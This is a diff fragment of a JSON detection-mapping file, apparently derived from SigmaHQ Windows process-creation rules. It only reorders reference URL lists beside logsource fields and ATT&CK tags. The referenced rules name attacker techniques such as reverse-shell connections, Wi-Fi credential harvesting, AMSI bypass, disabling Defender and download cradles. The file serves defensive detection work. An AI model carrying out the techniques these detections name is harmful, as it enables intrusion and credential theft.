"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml" + "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior" ], "tags": [ "attack.defense_evasion", @@ -42606,9 +42604,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.dfirnotes.net/portproxy_detection/", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" ], "tags": [ @@ -42660,8 +42658,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml", + "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/" ], "tags": [ "attack.discovery", @@ -42709,10 +42707,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://ss64.com/nt/for.html", "https://ss64.com/ps/foreach-object.htmll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://ss64.com/nt/for.html" ], "tags": [ "attack.execution", @@ -42737,8 +42735,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md" ], "tags": [ "attack.credential_access", @@ -42762,8 +42760,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_default_accounts_manipulation.yml" ], @@ -42789,8 +42787,8 @@ "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_enum.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md" ], "tags": [ "attack.discovery", @@ -42814,10 +42812,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_recon.yml" + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/" ], "tags": [ "attack.discovery", @@ -42842,8 +42840,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add.yml" ], "tags": [ @@ -42867,8 +42865,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_user_add_never_expire.yml", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/" ], "tags": [ "attack.persistence", @@ -42915,9 +42913,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", - "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_new_network_provider.yml" + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy" ], "tags": [ "attack.credential_access", @@ -42965,8 +42963,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nimgrab.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md" ], "tags": [ "attack.command_and_control", @@ -42989,13 +42987,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", - "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", - "https://attack.mitre.org/techniques/T1482/", "https://attack.mitre.org/techniques/T1016/", "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", + "https://attack.mitre.org/techniques/T1482/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml", + "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/" ], "tags": [ "attack.discovery", @@ -43019,11 +43017,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return", - "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", "https://nodejs.org/api/cli.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml" + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_node_abuse.yml", + "https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return" ], "tags": [ "attack.defense_evasion", @@ -43070,8 +43068,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_priv_reg_or_ps.yml", + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-20-638.jpg" ], "tags": [ "attack.defense_evasion", @@ -43094,8 +43092,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/ehang-io/nps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nps.yml", + "https://github.com/ehang-io/nps" ], "tags": [ "attack.command_and_control", @@ -43118,8 +43116,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Alh4zr3d/status/1566489367232651264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_poweshell_download.yml", + "https://twitter.com/Alh4zr3d/status/1566489367232651264" ], "tags": [ "attack.defense_evasion" @@ -43139,8 +43137,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/alh4zr3d/status/1566489367232651264", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_pwsh_download_cradle.yml", + "https://twitter.com/alh4zr3d/status/1566489367232651264" ], "tags": [ "attack.command_and_control", @@ -43188,10 +43186,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/frack113/status/1555830623633375232", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_cli.yml", + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://twitter.com/frack113/status/1555830623633375232" ], "tags": [ "attack.defense_evasion", @@ -43214,8 +43212,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://twitter.com/frack113/status/1555830623633375232", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_path_use_image.yml" ], @@ -43240,8 +43238,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_cli.yml" ], @@ -43266,10 +43264,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", - "https://twitter.com/jonasLyk/status/1555914501802921984", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ntfs_short_name_use_image.yml", + "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", + "https://twitter.com/jonasLyk/status/1555914501802921984" ], "tags": [ "attack.defense_evasion", @@ -43448,9 +43446,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml", "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_shell.yml" + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100" ], "tags": [ "attack.execution", @@ -43501,9 +43499,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml", "https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_spawn_exe_from_users_directory.yml" + "sha256=23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57c" ], "tags": [ "attack.execution", @@ -43528,8 +43526,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", "https://github.com/med0x2e/vba2clr", + "https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_svchost_child.yml" ], "tags": [ @@ -43553,8 +43551,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + "https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_outlook_shell.yml" ], "tags": [ @@ -43578,8 +43576,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1550483085472432128", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdqdeploy_runner_susp_children.yml", + "https://twitter.com/malmoeb/status/1550483085472432128" ], "tags": [ "attack.execution" @@ -43601,9 +43599,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml", "https://www.pdq.com/pdq-deploy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md" ], "tags": [ "attack.execution", @@ -43627,9 +43625,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml", + "https://twitter.com/dez_/status/1560101453150257154" ], "tags": [ "attack.persistence" @@ -43651,9 +43649,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel" ], "tags": [ "attack.persistence", @@ -43676,8 +43674,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", + "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" ], "tags": [ @@ -43703,8 +43701,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", - "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_possible_privilege_escalation_via_service_reg_perm.yml", + "https://pentestlab.blog/2017/03/31/insecure-registry-permissions/" ], "tags": [ "attack.privilege_escalation", @@ -43727,8 +43725,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/735261176745988096", "https://www.hybrid-analysis.com/sample/0ced17419e01663a0cd836c9c2eb925e3031ffb5b18ccf35f4dea5d586d0203e?environmentId=120", + "https://twitter.com/mattifestation/status/735261176745988096", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_amsi_bypass.yml" ], "tags": [ @@ -43752,9 +43750,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", "https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_audio_capture.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md" ], "tags": [ "attack.collection", @@ -43777,8 +43775,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1063072865992523776", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_b64_shellcode.yml", + "https://twitter.com/cyb3rops/status/1063072865992523776" ], "tags": [ "attack.defense_evasion", @@ -43801,8 +43799,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://eqllib.readthedocs.io/en/latest/analytics/ec5180c9-721a-460f-bddc-27539a284273.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_bitsjob.yml" ], "tags": [ @@ -43827,8 +43825,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_convertto_securestring.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" ], "tags": [ "attack.defense_evasion", @@ -43853,9 +43851,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml", "https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml" + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66" ], "tags": [ "attack.defense_evasion", @@ -43882,8 +43880,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64" ], "tags": [ "attack.defense_evasion", @@ -43908,8 +43906,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_specific_comb_methods.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" ], "tags": [ "attack.defense_evasion", @@ -43934,8 +43932,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_susp_comb_methods.yml", + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65" ], "tags": [ "attack.defense_evasion", @@ -43961,10 +43959,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_base64.yml", + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus" ], "tags": [ "attack.defense_evasion", @@ -43988,8 +43986,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", + "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" ], @@ -44015,10 +44013,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml", + "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus" ], "tags": [ "attack.defense_evasion", @@ -44041,8 +44039,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/", + "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_disable_windef_av.yml" ], @@ -44067,8 +44065,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml", + "https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md" ], "tags": [ "attack.defense_evasion", @@ -44139,9 +44137,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml", "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_patterns.yml" + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" ], "tags": [ "attack.execution", @@ -44164,8 +44162,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml", + "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639" ], "tags": [ "attack.t1027", @@ -44236,9 +44234,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" + 